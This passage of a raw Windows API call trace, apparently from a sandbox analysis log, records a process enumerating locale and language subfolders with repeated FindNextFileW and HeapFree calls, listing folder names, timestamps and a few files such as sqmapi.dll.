ftCreationTime.dwLowDateTime=0xf61d7668, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61fd8b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61fd8b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1044", cAlternateFileName="")) returned 1 [0065.326] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0065.326] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2ebae3b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf2ebae3b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf2ebae3b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1045", cAlternateFileName="")) returned 1 [0065.326] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0065.326] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1887f3e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1887f3e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1887f3e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1046", cAlternateFileName="")) returned 1 [0065.326] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0065.326] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5a8a2df, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5a8a2df, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5a8a2df, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1048", cAlternateFileName="")) returned 1 [0065.326] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0065.326] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b87f8e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6b87f8e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b87f8e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1049", cAlternateFileName="")) returned 1 [0065.326] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0065.327] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfcc62b13, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfcc62b13, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfcc62b13, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1050", cAlternateFileName="")) returned 1 [0065.327] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0065.327] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x303975a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x303975a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x303975a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1051", cAlternateFileName="")) returned 1 [0065.327] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0065.327] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6bd3439, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6bd3439, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6bd3439, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1053", cAlternateFileName="")) returned 1 [0065.327] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0065.327] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf443017d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf443017d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf443017d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1054", cAlternateFileName="")) returned 1 [0065.328] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0065.328] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0089415, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0089415, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1055", cAlternateFileName="")) returned 1 [0065.328] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0065.328] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1057", cAlternateFileName="")) returned 1 [0065.329] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0065.329] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1058", cAlternateFileName="")) returned 1 [0065.329] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0065.329] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf99b89f6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf99b89f6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf99b89f6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1060", cAlternateFileName="")) returned 1 [0065.330] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0065.330] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc2d943c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2d943c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2d943c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1061", cAlternateFileName="")) returned 1 [0065.330] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0065.330] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1992fb3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992fb3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1992fb3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1062", cAlternateFileName="")) returned 1 [0065.331] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0065.331] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56853a0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56853a0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56853a0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1063", cAlternateFileName="")) returned 1 [0065.331] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0065.331] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf80d6078, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80d6078, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80d6078, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1066", cAlternateFileName="")) returned 1 [0065.332] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0065.332] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xffe01c35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffe01c35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffe01c35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1069", cAlternateFileName="")) returned 1 [0065.333] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0065.333] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5afc9d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5afc9d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5afc9d3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1081", cAlternateFileName="")) returned 1 [0065.333] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0065.333] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a2268a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7abb0bc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7abb0bc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1086", cAlternateFileName="")) returned 1 [0065.334] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0065.334] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6355df6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6355df6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6355df6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1087", cAlternateFileName="")) returned 1 [0065.335] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0065.335] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf61fd8b4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61fd8b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61fd8b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1110", cAlternateFileName="")) returned 1 [0065.335] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0065.335] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc47ce76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc47ce76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc47ce76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="2052", cAlternateFileName="")) returned 1 [0065.336] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0065.336] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c40a24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c40a24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c40a24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="2070", cAlternateFileName="")) returned 1 [0065.336] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0065.336] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf17ee5c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="2074", cAlternateFileName="")) returned 1 [0065.336] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0065.336] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="3082", cAlternateFileName="")) returned 1 [0065.336] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0065.336] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67ce4b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67ce4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67ce4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="9242", cAlternateFileName="")) returned 1 [0065.337] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0065.337] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67ce4b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67ce4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67ce4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="9242", cAlternateFileName="")) returned 0 [0065.337] FindClose (in: hFindFile=0x4260140 | out: hFindFile=0x4260140) returned 1 [0065.337] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0065.337] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1 [0065.400] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0065.401] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1 [0065.404] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0065.404] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff580e7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1 [0065.825] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0065.826] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe99511, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1 [0065.829] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x436b020 | out: hHeap=0x6a0000) returned 1 [0065.829] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5612cee, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5612cee, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5612cee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2ae38, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0065.831] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x436b020 | out: hHeap=0x6a0000) returned 1 [0065.831] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-latn", cAlternateFileName="")) returned 1 [0065.833] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x436b020 | out: hHeap=0x6a0000) returned 1 [0065.833] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0065.836] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x436b020 | out: hHeap=0x6a0000) returned 1 [0065.836] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02eb98a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv", cAlternateFileName="")) returned 1 [0065.838] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x436b020 | out: hHeap=0x6a0000) returned 1 [0065.838] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefebf763, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1 [0065.840] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x436b020 | out: hHeap=0x6a0000) returned 1 [0065.840] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c40a24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16867e02, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16867e02, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1 [0065.842] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x436b020 | out: hHeap=0x6a0000) returned 1 [0065.842] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16841bb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f913, dwReserved0=0x0, dwReserved1=0x0, cFileName="tracedefinition110.xml", cAlternateFileName="TRACED~1.XML")) returned 1 [0065.854] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x436b020 | out: hHeap=0x6a0000) returned 1 [0065.854] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf164abda, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi", 